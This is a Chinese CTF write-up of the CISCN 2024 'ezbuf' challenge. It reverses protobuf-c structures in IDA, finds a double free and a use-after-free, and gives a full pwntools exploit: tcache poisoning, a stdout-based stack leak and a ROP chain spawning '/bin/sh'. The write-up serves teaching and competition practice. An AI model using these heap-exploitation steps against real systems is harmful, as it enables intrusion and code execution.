2024 cicsn ezbuf
文章目录
- 参考
- protobuf
- 逆向学习
- 复原结构
- 思路
- exp
参考
https://www.y4ng.cn/posts/pwn/protobuf/#ciscn-2024-ezbuf
protobuf
当时压根不知道用了protobuf这个玩意,提取工具也没提取出来,还是做题做太少了,很多关键性的结构都没看出来是protobuf
下次可以根据ProtobufCMessageDescriptor结构体的magic头(一般是0x28AAEEF9)来搜索定位到ProtobufCMessageDescriptor
逆向学习
const ProtobufCMessageDescriptor devicemsg__descriptor =
{PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,"devicemsg","Devicemsg","Devicemsg","",sizeof(Devicemsg),5,devicemsg__field_descriptors,devicemsg__field_indices_by_name,1, devicemsg__number_ranges,(ProtobufCMessageInit) devicemsg__init,NULL,NULL,NULL /* reserved[123] */
};
相关字段
/*** Describes a message.*/
struct ProtobufCMessageDescriptor {/** Magic value checked to ensure that the API is used correctly. */uint32_t magic;/** The qualified name (e.g., "namespace.Type"). */const char *name;/** The unqualified name as given in the .proto file (e.g., "Type"). */const char *short_name;/** Identifier used in generated C code. */const char *c_name;/** The dot-separated namespace. */const char *package_name;/*** Size in bytes of the C structure representing an instance of this* type of message.*/size_t sizeof_message;/** Number of elements in `fields`. */unsigned n_fields;/** Field descriptors, sorted by tag number. */const ProtobufCFieldDescriptor *fields;/** Used for looking up fields by name. */const unsigned *fields_sorted_by_name;/** Number of elements in `field_ranges`. */unsigned n_field_ranges;/** Used for looking up fields by id. */const ProtobufCIntRange *field_ranges;/** Message initialisation function. */ProtobufCMessageInit message_init;/** Reserved for future use. */void *reserved1;/** Reserved for future use. */void *reserved2;/** Reserved for future use. */void *reserved3;
};
对应IDA中
.data.rel.ro:000000000000BC60 unk_BC60 db 0F9h ; DATA XREF: sub_1AFE+5B↑o
.data.rel.ro:000000000000BC60 ; sub_1B66+17↑o ...
.data.rel.ro:000000000000BC61 db 0EEh
.data.rel.ro:000000000000BC62 db 0AAh
.data.rel.ro:000000000000BC63 db 28h ; (
.data.rel.ro:000000000000BC64 db 0
.data.rel.ro:000000000000BC65 db 0
.data.rel.ro:000000000000BC66 db 0
.data.rel.ro:000000000000BC67 db 0
.data.rel.ro:000000000000BC68 dq offset aHeybro ; "heybro"
.data.rel.ro:000000000000BC70 dq offset aHeybro_0 ; "Heybro"
.data.rel.ro:000000000000BC78 dq offset aHeybro_0 ; "Heybro"
.data.rel.ro:000000000000BC80 dq offset unk_910E
.data.rel.ro:000000000000BC88 db 48h ; H
.data.rel.ro:000000000000BC89 db 0
.data.rel.ro:000000000000BC8A db 0
.data.rel.ro:000000000000BC8B db 0
.data.rel.ro:000000000000BC8C db 0
.data.rel.ro:000000000000BC8D db 0
.data.rel.ro:000000000000BC8E db 0
.data.rel.ro:000000000000BC8F db 0
.data.rel.ro:000000000000BC90 db 5
.data.rel.ro:000000000000BC91 db 0
.data.rel.ro:000000000000BC92 db 0
.data.rel.ro:000000000000BC93 db 0
.data.rel.ro:000000000000BC94 db 0
.data.rel.ro:000000000000BC95 db 0
.data.rel.ro:000000000000BC96 db 0
.data.rel.ro:000000000000BC97 db 0
.data.rel.ro:000000000000BC98 dq offset off_BAE0 ; "whatcon"
.data.rel.ro:000000000000BCA0 dq offset unk_90D0
.data.rel.ro:000000000000BCA8 db 1
.data.rel.ro:000000000000BCA9 db 0
.data.rel.ro:000000000000BCAA db 0
.data.rel.ro:000000000000BCAB db 0
.data.rel.ro:000000000000BCAC db 0
.data.rel.ro:000000000000BCAD db 0
.data.rel.ro:000000000000BCAE db 0
.data.rel.ro:000000000000BCAF db 0
.data.rel.ro:000000000000BCB0 dq offset unk_90F0
.data.rel.ro:000000000000BCB8 dq offset sub_1AFE
然后根据ProtobufCFieldDescriptor去寻找内部各个字段的内容
static const ProtobufCFieldDescriptor devicemsg__field_descriptors[5] =
{{"whatcon",1,PROTOBUF_C_LABEL_NONE,PROTOBUF_C_TYPE_BYTES,0, /* quantifier_offset */offsetof(Devicemsg, whatcon),NULL,NULL,0, /* flags */0,NULL,NULL /* reserved1,reserved2, etc */},{"whattodo",2,PROTOBUF_C_LABEL_NONE,PROTOBUF_C_TYPE_SINT64,0, /* quantifier_offset */offsetof(Devicemsg, whattodo),NULL,NULL,0, /* flags */0,NULL,NULL /* reserved1,reserved2, etc */},{"whatidx",3,PROTOBUF_C_LABEL_NONE,PROTOBUF_C_TYPE_SINT64,0, /* quantifier_offset */offsetof(Devicemsg, whatidx),NULL,NULL,0, /* flags */0,NULL,NULL /* reserved1,reserved2, etc */},{"whatsize",4,PROTOBUF_C_LABEL_NONE,PROTOBUF_C_TYPE_SINT64,0, /* quantifier_offset */offsetof(Devicemsg, whatsize),NULL,NULL,0, /* flags */0,NULL,NULL /* reserved1,reserved2, etc */},{protobuf_c_message_pack"whatsthis",5,PROTOBUF_C_LABEL_NONE,PROTOBUF_C_TYPE_UINT32,0, /* quantifier_offset */offsetof(Devicemsg, whatsthis),NULL,NULL,0, /* flags */0,NULL,NULL /* reserved1,reserved2, etc */},
};
相关字段的定义
struct ProtobufCFieldDescriptor {/** Name of the field as given in the .proto file. */const char *name;/** Tag value of the field as given in the .proto file. */uint32_t id;/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */ProtobufCLabel label;/** The type of the field. */ProtobufCType type;/*** The offset in bytes of the message's C structure's quantifier field* (the `has_MEMBER` field for optional members or the `n_MEMBER` field* for repeated members or the case enum for oneofs).*/unsigned quantifier_offset;/*** The offset in bytes into the message's C structure for the member* itself.*/unsigned offset;/*** A type-specific descriptor.** If `type` is `PROTOBUF_C_TYPE_ENUM`, then `descriptor` points to the* corresponding `ProtobufCEnumDescriptor`.** If `type` is `PROTOBUF_C_TYPE_MESSAGE`, then `descriptor` points to* the corresponding `ProtobufCMessageDescriptor`.** Otherwise this field is NULL.*/const void *descriptor; /* for MESSAGE and ENUM types *//** The default value for this field, if defined. May be NULL. */const void *default_value;/*** A flag word. Zero or more of the bits defined in the* `ProtobufCFieldFlag` enum may be set.*/uint32_t flags;/** Reserved for future use. */unsigned reserved_flags;/** Reserved for future use. */void *reserved2;/** Reserved for future use. */void *reserved3;
};
根据这四个字段来复原原来的结构const char *name; uint32_t id; ProtobufCLabel label; ProtobufCType type;
typedef enum {/** A well-formed message must have exactly one of this field. */0 PROTOBUF_C_LABEL_REQUIRED,/*** A well-formed message can have zero or one of this field (but not* more than one).*/1 PROTOBUF_C_LABEL_OPTIONAL,/*** This field can be repeated any number of times (including zero) in a* well-formed message. The order of the repeated values will be* preserved.*/2 PROTOBUF_C_LABEL_REPEATED,/*** This field has no label. This is valid only in proto3 and is* equivalent to OPTIONAL but no "has" quantifier will be consulted.*/3 PROTOBUF_C_LABEL_NONE,
} ProtobufCLabel;typedef enum {
0 PROTOBUF_C_TYPE_INT32, /**< int32 */
1 PROTOBUF_C_TYPE_SINT32, /**< signed int32 */
2 PROTOBUF_C_TYPE_SFIXED32, /**< signed int32 (4 bytes) */
3 PROTOBUF_C_TYPE_INT64, /**< int64 */
4 PROTOBUF_C_TYPE_SINT64, /**< signed int64 */
5 PROTOBUF_C_TYPE_SFIXED64, /**< signed int64 (8 bytes) */
6 PROTOBUF_C_TYPE_UINT32, /**< unsigned int32 */
7 PROTOBUF_C_TYPE_FIXED32, /**< unsigned int32 (4 bytes) */
8 PROTOBUF_C_TYPE_UINT64, /**< unsigned int64 */
9 PROTOBUF_C_TYPE_FIXED64, /**< unsigned int64 (8 bytes) */
10 PROTOBUF_C_TYPE_FLOAT, /**< float */
11 PROTOBUF_C_TYPE_DOUBLE, /**< double */
12 PROTOBUF_C_TYPE_BOOL, /**< boolean */
13 PROTOBUF_C_TYPE_ENUM, /**< enumerated type */
14 PROTOBUF_C_TYPE_STRING, /**< UTF-8 or ASCII string */
15 PROTOBUF_C_TYPE_BYTES, /**< arbitrary byte sequence */
16 PROTOBUF_C_TYPE_MESSAGE, /**< nested message */
} ProtobufCType;
对应到IDA中
.data.rel.ro:000000000000BAE0 off_BAE0 dq offset aWhatcon ; DATA XREF: .data.rel.ro:000000000000BC98↓o
.data.rel.ro:000000000000BAE0 ; "whatcon"
.data.rel.ro:000000000000BAE8 db 1
.data.rel.ro:000000000000BAE9 db 0
.data.rel.ro:000000000000BAEA db 0
.data.rel.ro:000000000000BAEB db 0
.data.rel.ro:000000000000BAEC db 3
.data.rel.ro:000000000000BAED db 0
.data.rel.ro:000000000000BAEE db 0
.data.rel.ro:000000000000BAEF db 0
.data.rel.ro:000000000000BAF0 db 0Fh
.data.rel.ro:000000000000BAF1 db 0
.data.rel.ro:000000000000BAF2 db 0
.data.rel.ro:000000000000BAF3 db 0
.data.rel.ro:000000000000BAF4 db 0
.data.rel.ro:000000000000BAF5 db 0
.data.rel.ro:000000000000BAF6 db 0
.data.rel.ro:000000000000BAF7 db 0
.data.rel.ro:000000000000BAF8 db 18h
.data.rel.ro:000000000000BAF9 db 0
.data.rel.ro:000000000000BAFA db 0
.data.rel.ro:000000000000BAFB db 0
.data.rel.ro:000000000000BAFC db 0
.data.rel.ro:000000000000BAFD db 0
.data.rel.ro:000000000000BAFE db 0
.data.rel.ro:000000000000BAFF db 0
.data.rel.ro:000000000000BB00 db 0
.data.rel.ro:000000000000BB01 db 0
.data.rel.ro:000000000000BB02 db 0
.data.rel.ro:000000000000BB03 db 0
.data.rel.ro:000000000000BB04 db 0
.data.rel.ro:000000000000BB05 db 0
.data.rel.ro:000000000000BB06 db 0
.data.rel.ro:000000000000BB07 db 0
.data.rel.ro:000000000000BB08 db 0
.data.rel.ro:000000000000BB09 db 0
.data.rel.ro:000000000000BB0A db 0
.data.rel.ro:000000000000BB0B db 0
.data.rel.ro:000000000000BB0C db 0
.data.rel.ro:000000000000BB0D db 0
.data.rel.ro:000000000000BB0E db 0
.data.rel.ro:000000000000BB0F db 0
.data.rel.ro:000000000000BB10 db 0
.data.rel.ro:000000000000BB11 db 0
.data.rel.ro:000000000000BB12 db 0
.data.rel.ro:000000000000BB13 db 0
.data.rel.ro:000000000000BB14 db 0
.data.rel.ro:000000000000BB15 db 0
.data.rel.ro:000000000000BB16 db 0
.data.rel.ro:000000000000BB17 db 0
.data.rel.ro:000000000000BB18 db 0
.data.rel.ro:000000000000BB19 db 0
.data.rel.ro:000000000000BB1A db 0
.data.rel.ro:000000000000BB1B db 0
.data.rel.ro:000000000000BB1C db 0
.data.rel.ro:000000000000BB1D db 0
.data.rel.ro:000000000000BB1E db 0
.data.rel.ro:000000000000BB1F db 0
.data.rel.ro:000000000000BB20 db 0
.data.rel.ro:000000000000BB21 db 0
.data.rel.ro:000000000000BB22 db 0
.data.rel.ro:000000000000BB23 db 0
.data.rel.ro:000000000000BB24 db 0
.data.rel.ro:000000000000BB25 db 0
.data.rel.ro:000000000000BB26 db 0
.data.rel.ro:000000000000BB27 db 0
.data.rel.ro:000000000000BB28 dq offset aWhattodo ; "whattodo"
.data.rel.ro:000000000000BB30 db 2
.data.rel.ro:000000000000BB31 db 0
.data.rel.ro:000000000000BB32 db 0
.data.rel.ro:000000000000BB33 db 0
.data.rel.ro:000000000000BB34 db 3
.data.rel.ro:000000000000BB35 db 0
.data.rel.ro:000000000000BB36 db 0
.data.rel.ro:000000000000BB37 db 0
.data.rel.ro:000000000000BB38 db 4
.data.rel.ro:000000000000BB39 db 0
.data.rel.ro:000000000000BB3A db 0
.data.rel.ro:000000000000BB3B db 0
.data.rel.ro:000000000000BB3C db 0
.data.rel.ro:000000000000BB3D db 0
.data.rel.ro:000000000000BB3E db 0
.data.rel.ro:000000000000BB3F db 0
.data.rel.ro:000000000000BB40 db 28h ; (
.data.rel.ro:000000000000BB41 db 0
.data.rel.ro:000000000000BB42 db 0
.data.rel.ro:000000000000BB43 db 0
.data.rel.ro:000000000000BB44 db 0
.data.rel.ro:000000000000BB45 db 0
.data.rel.ro:000000000000BB46 db 0
.data.rel.ro:000000000000BB47 db 0
.data.rel.ro:000000000000BB48 db 0
.data.rel.ro:000000000000BB49 db 0
.data.rel.ro:000000000000BB4A db 0
.data.rel.ro:000000000000BB4B db 0
.data.rel.ro:000000000000BB4C db 0
.data.rel.ro:000000000000BB4D db 0
.data.rel.ro:000000000000BB4E db 0
.data.rel.ro:000000000000BB4F db 0
.data.rel.ro:000000000000BB50 db 0
.data.rel.ro:000000000000BB51 db 0
.data.rel.ro:000000000000BB52 db 0
.data.rel.ro:000000000000BB53 db 0
.data.rel.ro:000000000000BB54 db 0
.data.rel.ro:000000000000BB55 db 0
.data.rel.ro:000000000000BB56 db 0
.data.rel.ro:000000000000BB57 db 0
.data.rel.ro:000000000000BB58 db 0
.data.rel.ro:000000000000BB59 db 0
.data.rel.ro:000000000000BB5A db 0
.data.rel.ro:000000000000BB5B db 0
.data.rel.ro:000000000000BB5C db 0
.data.rel.ro:000000000000BB5D db 0
.data.rel.ro:000000000000BB5E db 0
.data.rel.ro:000000000000BB5F db 0
.data.rel.ro:000000000000BB60 db 0
.data.rel.ro:000000000000BB61 db 0
.data.rel.ro:000000000000BB62 db 0
.data.rel.ro:000000000000BB63 db 0
.data.rel.ro:000000000000BB64 db 0
.data.rel.ro:000000000000BB65 db 0
.data.rel.ro:000000000000BB66 db 0
.data.rel.ro:000000000000BB67 db 0
.data.rel.ro:000000000000BB68 db 0
.data.rel.ro:000000000000BB69 db 0
.data.rel.ro:000000000000BB6A db 0
.data.rel.ro:000000000000BB6B db 0
.data.rel.ro:000000000000BB6C db 0
.data.rel.ro:000000000000BB6D db 0
.data.rel.ro:000000000000BB6E db 0
.data.rel.ro:000000000000BB6F db 0
.data.rel.ro:000000000000BB70 dq offset aWhatidx ; "whatidx"
.data.rel.ro:000000000000BB78 db 3
.data.rel.ro:000000000000BB79 db 0
.data.rel.ro:000000000000BB7A db 0
.data.rel.ro:000000000000BB7B db 0
.data.rel.ro:000000000000BB7C db 3
.data.rel.ro:000000000000BB7D db 0
.data.rel.ro:000000000000BB7E db 0
.data.rel.ro:000000000000BB7F db 0
.data.rel.ro:000000000000BB80 db 4
.data.rel.ro:000000000000BB81 db 0
.data.rel.ro:000000000000BB82 db 0
.data.rel.ro:000000000000BB83 db 0
.data.rel.ro:000000000000BB84 db 0
.data.rel.ro:000000000000BB85 db 0
.data.rel.ro:000000000000BB86 db 0
.data.rel.ro:000000000000BB87 db 0
.data.rel.ro:000000000000BB88 db 30h ; 0
.data.rel.ro:000000000000BB89 db 0
.data.rel.ro:000000000000BB8A db 0
.data.rel.ro:000000000000BB8B db 0
.data.rel.ro:000000000000BB8C db 0
.data.rel.ro:000000000000BB8D db 0
.data.rel.ro:000000000000BB8E db 0
.data.rel.ro:000000000000BB8F db 0
.data.rel.ro:000000000000BB90 db 0
.data.rel.ro:000000000000BB91 db 0
.data.rel.ro:000000000000BB92 db 0
.data.rel.ro:000000000000BB93 db 0
.data.rel.ro:000000000000BB94 db 0
.data.rel.ro:000000000000BB95 db 0
.data.rel.ro:000000000000BB96 db 0
.data.rel.ro:000000000000BB97 db 0
.data.rel.ro:000000000000BB98 db 0
.data.rel.ro:000000000000BB99 db 0
.data.rel.ro:000000000000BB9A db 0
.data.rel.ro:000000000000BB9B db 0
.data.rel.ro:000000000000BB9C db 0
.data.rel.ro:000000000000BB9D db 0
.data.rel.ro:000000000000BB9E db 0
.data.rel.ro:000000000000BB9F db 0
.data.rel.ro:000000000000BBA0 db 0
.data.rel.ro:000000000000BBA1 db 0
.data.rel.ro:000000000000BBA2 db 0
.data.rel.ro:000000000000BBA3 db 0
.data.rel.ro:000000000000BBA4 db 0
.data.rel.ro:000000000000BBA5 db 0
.data.rel.ro:000000000000BBA6 db 0
.data.rel.ro:000000000000BBA7 db 0
.data.rel.ro:000000000000BBA8 db 0
.data.rel.ro:000000000000BBA9 db 0
.data.rel.ro:000000000000BBAA db 0
.data.rel.ro:000000000000BBAB db 0
.data.rel.ro:000000000000BBAC db 0
.data.rel.ro:000000000000BBAD db 0
.data.rel.ro:000000000000BBAE db 0
.data.rel.ro:000000000000BBAF db 0
.data.rel.ro:000000000000BBB0 db 0
.data.rel.ro:000000000000BBB1 db 0
.data.rel.ro:000000000000BBB2 db 0
.data.rel.ro:000000000000BBB3 db 0
.data.rel.ro:000000000000BBB4 db 0
.data.rel.ro:000000000000BBB5 db 0
.data.rel.ro:000000000000BBB6 db 0
.data.rel.ro:000000000000BBB7 db 0
.data.rel.ro:000000000000BBB8 dq offset aWhatsize ; "whatsize"
.data.rel.ro:000000000000BBC0 db 4
.data.rel.ro:000000000000BBC1 db 0
.data.rel.ro:000000000000BBC2 db 0
.data.rel.ro:000000000000BBC3 db 0
.data.rel.ro:000000000000BBC4 db 3
.data.rel.ro:000000000000BBC5 db 0
.data.rel.ro:000000000000BBC6 db 0
.data.rel.ro:000000000000BBC7 db 0
.data.rel.ro:000000000000BBC8 db 4
.data.rel.ro:000000000000BBC9 db 0
.data.rel.ro:000000000000BBCA db 0
.data.rel.ro:000000000000BBCB db 0
.data.rel.ro:000000000000BBCC db 0
.data.rel.ro:000000000000BBCD db 0
.data.rel.ro:000000000000BBCE db 0
.data.rel.ro:000000000000BBCF db 0
.data.rel.ro:000000000000BBD0 db 38h ; 8
.data.rel.ro:000000000000BBD1 db 0
.data.rel.ro:000000000000BBD2 db 0
.data.rel.ro:000000000000BBD3 db 0
.data.rel.ro:000000000000BBD4 db 0
.data.rel.ro:000000000000BBD5 db 0
.data.rel.ro:000000000000BBD6 db 0
.data.rel.ro:000000000000BBD7 db 0
.data.rel.ro:000000000000BBD8 db 0
.data.rel.ro:000000000000BBD9 db 0
.data.rel.ro:000000000000BBDA db 0
.data.rel.ro:000000000000BBDB db 0
.data.rel.ro:000000000000BBDC db 0
.data.rel.ro:000000000000BBDD db 0
.data.rel.ro:000000000000BBDE db 0
.data.rel.ro:000000000000BBDF db 0
.data.rel.ro:000000000000BBE0 db 0
.data.rel.ro:000000000000BBE1 db 0
.data.rel.ro:000000000000BBE2 db 0
.data.rel.ro:000000000000BBE3 db 0
.data.rel.ro:000000000000BBE4 db 0
.data.rel.ro:000000000000BBE5 db 0
.data.rel.ro:000000000000BBE6 db 0
.data.rel.ro:000000000000BBE7 db 0
.data.rel.ro:000000000000BBE8 db 0
.data.rel.ro:000000000000BBE9 db 0
.data.rel.ro:000000000000BBEA db 0
.data.rel.ro:000000000000BBEB db 0
.data.rel.ro:000000000000BBEC db 0
.data.rel.ro:000000000000BBED db 0
.data.rel.ro:000000000000BBEE db 0
.data.rel.ro:000000000000BBEF db 0
.data.rel.ro:000000000000BBF0 db 0
.data.rel.ro:000000000000BBF1 db 0
.data.rel.ro:000000000000BBF2 db 0
.data.rel.ro:000000000000BBF3 db 0
.data.rel.ro:000000000000BBF4 db 0
.data.rel.ro:000000000000BBF5 db 0
.data.rel.ro:000000000000BBF6 db 0
.data.rel.ro:000000000000BBF7 db 0
.data.rel.ro:000000000000BBF8 db 0
.data.rel.ro:000000000000BBF9 db 0
.data.rel.ro:000000000000BBFA db 0
.data.rel.ro:000000000000BBFB db 0
.data.rel.ro:000000000000BBFC db 0
.data.rel.ro:000000000000BBFD db 0
.data.rel.ro:000000000000BBFE db 0
.data.rel.ro:000000000000BBFF db 0
.data.rel.ro:000000000000BC00 dq offset aWhatsthis ; "whatsthis"
.data.rel.ro:000000000000BC08 db 5
.data.rel.ro:000000000000BC09 db 0
.data.rel.ro:000000000000BC0A db 0
.data.rel.ro:000000000000BC0B db 0
.data.rel.ro:000000000000BC0C db 3
.data.rel.ro:000000000000BC0D db 0
.data.rel.ro:000000000000BC0E db 0
.data.rel.ro:000000000000BC0F db 0
.data.rel.ro:000000000000BC10 db 6
.data.rel.ro:000000000000BC11 db 0
.data.rel.ro:000000000000BC12 db 0
.data.rel.ro:000000000000BC13 db 0
.data.rel.ro:000000000000BC14 db 0
.data.rel.ro:000000000000BC15 db 0
.data.rel.ro:000000000000BC16 db 0
.data.rel.ro:000000000000BC17 db 0
.data.rel.ro:000000000000BC18 db 40h ; @
.data.rel.ro:000000000000BC19 db 0
.data.rel.ro:000000000000BC1A db 0
.data.rel.ro:000000000000BC1B db 0
.data.rel.ro:000000000000BC1C db 0
.data.rel.ro:000000000000BC1D db 0
.data.rel.ro:000000000000BC1E db 0
.data.rel.ro:000000000000BC1F db 0
.data.rel.ro:000000000000BC20 db 0
.data.rel.ro:000000000000BC21 db 0
.data.rel.ro:000000000000BC22 db 0
.data.rel.ro:000000000000BC23 db 0
.data.rel.ro:000000000000BC24 db 0
.data.rel.ro:000000000000BC25 db 0
.data.rel.ro:000000000000BC26 db 0
.data.rel.ro:000000000000BC27 db 0
.data.rel.ro:000000000000BC28 db 0
.data.rel.ro:000000000000BC29 db 0
.data.rel.ro:000000000000BC2A db 0
.data.rel.ro:000000000000BC2B db 0
.data.rel.ro:000000000000BC2C db 0
.data.rel.ro:000000000000BC2D db 0
.data.rel.ro:000000000000BC2E db 0
.data.rel.ro:000000000000BC2F db 0
.data.rel.ro:000000000000BC30 db 0
.data.rel.ro:000000000000BC31 db 0
.data.rel.ro:000000000000BC32 db 0
.data.rel.ro:000000000000BC33 db 0
.data.rel.ro:000000000000BC34 db 0
.data.rel.ro:000000000000BC35 db 0
.data.rel.ro:000000000000BC36 db 0
.data.rel.ro:000000000000BC37 db 0
.data.rel.ro:000000000000BC38 db 0
.data.rel.ro:000000000000BC39 db 0
.data.rel.ro:000000000000BC3A db 0
.data.rel.ro:000000000000BC3B db 0
.data.rel.ro:000000000000BC3C db 0
.data.rel.ro:000000000000BC3D db 0
.data.rel.ro:000000000000BC3E db 0
.data.rel.ro:000000000000BC3F db 0
.data.rel.ro:000000000000BC40 db 0
.data.rel.ro:000000000000BC41 db 0
.data.rel.ro:000000000000BC42 db 0
.data.rel.ro:000000000000BC43 db 0
.data.rel.ro:000000000000BC44 db 0
.data.rel.ro:000000000000BC45 db 0
.data.rel.ro:000000000000BC46 db 0
.data.rel.ro:000000000000BC47 db 0
.data.rel.ro:000000000000BC48 db 0
.data.rel.ro:000000000000BC49 db 0
.data.rel.ro:000000000000BC4A db 0
.data.rel.ro:000000000000BC4B db 0
.data.rel.ro:000000000000BC4C db 0
.data.rel.ro:000000000000BC4D db 0
.data.rel.ro:000000000000BC4E db 0
.data.rel.ro:000000000000BC4F db 0
.data.rel.ro:000000000000BC50 db 0
.data.rel.ro:000000000000BC51 db 0
.data.rel.ro:000000000000BC52 db 0
.data.rel.ro:000000000000BC53 db 0
.data.rel.ro:000000000000BC54 db 0
.data.rel.ro:000000000000BC55 db 0
.data.rel.ro:000000000000BC56 db 0
.data.rel.ro:000000000000BC57 db 0
.data.rel.ro:000000000000BC58 db 0
.data.rel.ro:000000000000BC59 db 0
.data.rel.ro:000000000000BC5A db 0
.data.rel.ro:000000000000BC5B db 0
.data.rel.ro:000000000000BC5C db 0
.data.rel.ro:000000000000BC5D db 0
.data.rel.ro:000000000000BC5E db 0
.data.rel.ro:000000000000BC5F db 0
复原结构
根据ProtobufCMessageDescriptor 的name字段得到这个message的名字为heybro
,然后根据ProtobufCFieldDescriptor 的const char *name; uint32_t id; ProtobufCLabel label; ProtobufCType type;
得到各个内容的名字,id,label和类型
message heybro{bytes whatcon = 1;sint64 whattodo = 2;sint64 whatidx = 3;sint64 whatsize = 4;uint32 whatsthis = 5;
}
struct Heybro
{ProtobufCMessage base; //24个字节ProtobufCBinaryData whatcon;int64_t whattodo;int64_t whatidx;int64_t whatsize;uint32_t whatsthis;
};struct ProtobufCMessage {/** The descriptor for this message type. */const ProtobufCMessageDescriptor *descriptor;/** The number of elements in `unknown_fields`. */unsigned n_unknown_fields;/** The fields that weren't recognized by the parser. */ProtobufCMessageUnknownField *unknown_fields;
};struct ProtobufCBinaryData {size_t len; /**< Number of bytes in the `data` field. */uint8_t *data; /**< Data bytes. */
};sub_1934(*(_QWORD *)(heybro + 24),*(_QWORD *)(heybro + 32),*(_QWORD *)(heybro + 40),*(_QWORD *)(heybro + 48),*(_QWORD *)(heybro + 56),*(unsigned int *)(heybro + 64));bytes类型,转化为c语言结构时会变成一个结构体,里面存放长度和内容指针。IDA由于没有内置相关结构信息,将其当做八字节数组进行解析,因此会产生一个有6个记录的错觉,实际上后两个参数是同一个记录内置的两条记录。
思路
add会检查索引,然后根据索引分配会固定得到0x40大小的chunk,并且会把whatcon的内容赋值过去,10次delete,会检查索引范围,和对应索引的chunk是否为空,但free后没有清零,3次show。会在会检查索引范围,和对应索引的chunk是否为空,并且在whatsthis == '\xFF’和 whatsize == 48都不满足会打印出chunk的内容
存在doublefree,show after free
- add时候会先分配一个0x50和一个和data长度相同的chunk,这两个都是从unsortedbin中分的,然后先是将内容写到那个和data长度相同的chunk, 最后memcpy将datachunk写到分配得到的0x40的chunk,这里的话可以通过残留的libc泄露地址
- 泄露堆地址,直接 由于mempy特性和必须写入内容特性,残留堆地址会被修改,所以没用,通过free到tcache泄露即可
- 构造任意写,但由于delete的限制次数刚好是10次,所以只有一次任意写,但此时tcache中存在其他bin有很多个,可以通过写tcachebin然后实现多次任意写,泄露stack地址可以通过任意写stdout后泄露栈地址
IO_2_1_stdout:_flags = 0xFBAD1800,然后让后面的三个read参数为0,然后就write_base和write_ptr之间为我们要输出的地址范围
- malloc分配到tcachebin,然后再修改tcachebin,使得可以分配到栈上
exp
from pwn import *
import devicemsg_pb2
#context.log_level='debug'
context.arch='amd64'
context.os='linux'def add(idx,con):bro=devicemsg_pb2.heybro()bro.whatcon=conbro.whattodo=1bro.whatidx=idxp.sendafter(b'WHAT DO YOU WANT?\n',bro.SerializeToString())def delete(idx):bro=devicemsg_pb2.heybro()bro.whattodo=2bro.whatidx=idxp.sendafter(b'WHAT DO YOU WANT?\n',bro.SerializeToString())def magic(idx,thiss,size,con):bro=devicemsg_pb2.heybro()bro.whattodo=3bro.whatidx=idxbro.whatsthis=thissbro.whatsize=sizebro.whatcon=conp.sendafter(b'WHAT DO YOU WANT?\n',bro.SerializeToString())def exitt():bro=devicemsg_pb2.heybro()bro.whattodo=4p.sendafter(b'WHAT DO YOU WANT?\n',bro.SerializeToString())#p=remote('8.147.129.121',15268)
p=process('./pwn')
libc=ELF('./libc.so.6')add(0,b'a')add(1,b'a')magic(0,0,0,b'')
p.recvuntil(b'Content:')
libcbase=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))-0x21ac61
print(hex(libcbase))for i in range(9):add(i,b'a')for i in range(8):delete(i)magic(0,0,0,b'')
p.recvuntil(b'Content:')
heap=u64(p.recvline()[:-1].ljust(8,b'\x00'))+1
print(hex(heap))delete(8)delete(7)for i in range(7):add(i,b'a')pause()add(7,p64(((heap<<12)-0x5000+0xe0)^heap))
add(7,b'a')
add(7,b'a')
add(7,b'\x00'*8+p64(libcbase+0x21b780-0x90)+p64(0)+p64(((heap<<12)-0x5000+0xe0)))
payload=b'\x00'*0x90+p64(0xfbad1887)+p64(0)*3+p64(libcbase+0x222200)+p64(libcbase+0x222208) #写stderr
add(7,payload)
stack=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))
add(7,p64(0)+p64(stack-0x168)+b'\x00'*0xd0)# 再次修改tcachebin
#gdb.attach(p)rdi=libcbase+0x2a3e5
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
system=libcbase+libc.symbols['system']
ret=libcbase+0x29139
rop=b'a'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
add(7,rop.ljust(0xc0,b'\x00'))
p.interactive()
相关文章:

2024 cicsn ezbuf
文章目录 参考protobuf逆向学习复原结构思路exp 参考 https://www.y4ng.cn/posts/pwn/protobuf/#ciscn-2024-ezbuf protobuf 当时压根不知道用了protobuf这个玩意,提取工具也没提取出来,还是做题做太少了,很多关键性的结构都没看出来是pro…...

地面站Mission planner
官方教程; Mission Planner地面站介绍 | Autopilot (gitbook.io) Mission Planner 功能/屏幕 — Mission Planner 文档 (ardupilot.org) 安卓或者windows软件下载地址: 地面站连接及使用 plane (cuav.net) 在完全装机后再进行各干器件的校准,没有组…...

常见的api: BigInteger
一.获取一个大的随机整数 1.代码: BigInteger bd1 new BigInteger(4, new Random());System.out.println(bd1); 2.打印的结果:2 3.注释获取的是0-16之间的随机整数 二.获取一个指定的大的数 1.代码: BigInteger bd2 new BigInteger("100");System.o…...
Overall timing accuracy 和Edge placement accuracy 理解
在电子设计自动化(EDA)、集成电路(IC)制造和高速数字电路设计领域,"Overall Timing Accuracy" 和 "Edge Placement Accuracy" 是两个关键的性能指标,它们对于确保电路的功能正确性和性能至关重要。 当涉及到“Overall timing accuracy”(总体时序精度)…...

2024 vite 静态 scp2 自动化部署
1、导入库 npm install scp2 // 自动化部署 npm install chalk // 控制台输出的语句 npm install ora2、核心代码 创建文件夹放在主目录下的 deploy/index.js 复制粘贴以下代码: import client from scp2; import chalk from chalk; import ora from ora;const s…...

【数据结构】AVLTree实现详解
目录 一.什么是AVLTree 二.AVLTree的实现 1.树结点的定义 2.类的定义 3.插入结点 ①按二叉搜索树规则插入结点 ②更新平衡因子 更新平衡因子情况分析 ③判断是否要旋转 左单旋 右单旋 左右单旋 右左双旋 4.删除、查找和修改函数 查找结点 三.测试 1.判断是否是搜索树 …...

深度学习——TensorBoard的使用
官方文档torch.utils.tensorboard — PyTorch 2.3 documentation TensorBoard简介 TensorBoard是一个可视化工具,它可以用来展示网络图、张量的指标变化、张量的分布情况等。特别是在训练网络的时候,我们可以设置不同的参数(比如࿱…...
【设计模式】观察者模式(行为型)⭐⭐⭐
文章目录 1.概念1.1 什么是观察者模式1.2 优点与缺点 2.实现方式3. Java 哪些地方用到了观察者模式4. Spring 哪些地方用到了观察者模式 1.概念 1.1 什么是观察者模式 观察者模式(Observer Pattern)是一种行为型设计模式,它允许对象在状态改…...

